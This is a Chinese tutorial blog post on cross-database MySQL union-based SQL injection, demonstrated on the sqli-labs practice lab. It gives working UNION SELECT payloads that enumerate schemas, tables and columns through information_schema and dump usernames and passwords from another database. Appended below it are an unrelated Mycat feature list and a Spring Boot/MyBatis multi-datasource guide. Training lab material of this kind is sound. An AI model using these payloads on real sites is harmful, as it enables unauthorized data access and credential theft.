MySQL跨库注入

46 篇文章 23 订阅
22 篇文章 1 订阅

MySQL跨库注入

需要高权限用户

判断权限:连接数据库的用户名

演示靶场——sqlilabs-less2

image-20220214184925036

判断注入点,爆字段略

1、查出该root账号下所有数据库

union select 1,group_concat(schema_name),3 from information_schema.schemata

image-20220214185551910

2、获取指定数据库下表名的信息,以pikachu为例

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'

image-20220214185701782

3、获取指定数据库下指定表名下的列名信息

union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'

image-20220214185741465

4、获取指定数据

union select 1,username,password from pikachu.users

image-20220214185818842

由于是跨库注入,所以表名是pikachu.users

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Mycat关键特性 关键特性 支持SQL92标准 支持MySQL、Oracle、DB2、SQL Server、PostgreSQL等DB的常见SQL语法 遵守Mysql原生协议,语言,平台,数据库的通用中间件代理。 基于心跳的自动故障切换,支持读写分离,支持MySQL主从,以及galera cluster集群。 支持Galera for MySQL集群,Percona Cluster或者MariaDB cluster 基于Nio实现,有效管理线程,解决高并发问题。 支持数据的多片自动路由与聚合,支持sum,count,max等常用的聚合函数,支持跨库分页。 支持单库内部任意join,支持跨库2表join,甚至基于caltlet的多表join。 支持通过全局表,ER关系的分片策略,实现了高效的多表join查询。 支持多租户方案。 支持分布式事务(弱xa)。 支持XA分布式事务(1.6.5)。 支持全局序列号,解决分布式下的主键生成问题。 分片规则丰富,插件化开发,易于扩展。 强大的web,命令行监控。 支持前端作为MySQL通用代理,后端JDBC方式支持Oracle、DB2、SQL Server 、 mongodb 、巨杉。 支持密码加密 支持服务降级 支持IP白名单 支持SQL黑名单、sql注入攻击拦截 支持prepare预编译指令(1.6) 支持非堆内存(Direct Memory)聚合计算(1.6) 支持PostgreSQL的native协议(1.6) 支持mysql和oracle存储过程,out参数、多结果集返回(1.6) 支持zookeeper协调主从切换、zk序列、配置zk化(1.6) 支持库内分表(1.6) 集群基于ZooKeeper管理,在线升级,扩容,智能优化,大数据处理(2.0开发版)。
Spring Boot结合MyBatis进行跨库查询可以通过多数据源配置实现。 首先,在application.properties(或application.yaml)文件中配置多个数据源的信息。例如,配置两个数据源dataSource1和dataSource2,分别对应两个数据库: ``` spring.datasource.dataSource1.url=jdbc:mysql://localhost:3306/db1 spring.datasource.dataSource1.username=root spring.datasource.dataSource1.password=123456 spring.datasource.dataSource2.url=jdbc:mysql://localhost:3306/db2 spring.datasource.dataSource2.username=root spring.datasource.dataSource2.password=123456 ``` 然后,在数据源配置类中创建两个数据源,并将其注入SqlSessionFactory中: ```java @Configuration @MapperScan(basePackages = "com.example.demo.mapper1", sqlSessionFactoryRef = "sqlSessionFactory1") public class DataSource1Config { @Bean @ConfigurationProperties(prefix = "spring.datasource.dataSource1") public DataSource dataSource1() { return DataSourceBuilder.create().build(); } @Bean public SqlSessionFactory sqlSessionFactory1() throws Exception { SqlSessionFactoryBean factoryBean = new SqlSessionFactoryBean(); factoryBean.setDataSource(dataSource1()); return factoryBean.getObject(); } } @Configuration @MapperScan(basePackages = "com.example.demo.mapper2", sqlSessionFactoryRef = "sqlSessionFactory2") public class DataSource2Config { @Bean @ConfigurationProperties(prefix = "spring.datasource.dataSource2") public DataSource dataSource2() { return DataSourceBuilder.create().build(); } @Bean public SqlSessionFactory sqlSessionFactory2() throws Exception { SqlSessionFactoryBean factoryBean = new SqlSessionFactoryBean(); factoryBean.setDataSource(dataSource2()); return factoryBean.getObject(); } } ``` 接下来,在MyBatis的Mapper接口中使用@Qualifier指定需要使用的SqlSessionFactory: ```java @Mapper @Qualifier("sqlSessionFactory1") public interface Mapper1 { // 定义数据库1的查询方法 } @Mapper @Qualifier("sqlSessionFactory2") public interface Mapper2 { // 定义数据库2的查询方法 } ``` 最后,在业务类中注入两个Mapper对象,即可实现跨库查询: ```java @Service public class UserService { @Autowired private Mapper1 mapper1; @Autowired private Mapper2 mapper2; public void crossDbQuery() { // 使用mapper1和mapper2进行跨库查询操作 // ... } } ``` 通过以上配置,我们可以实现在Spring Boot中使用MyBatis进行跨库查询。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow丶S

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值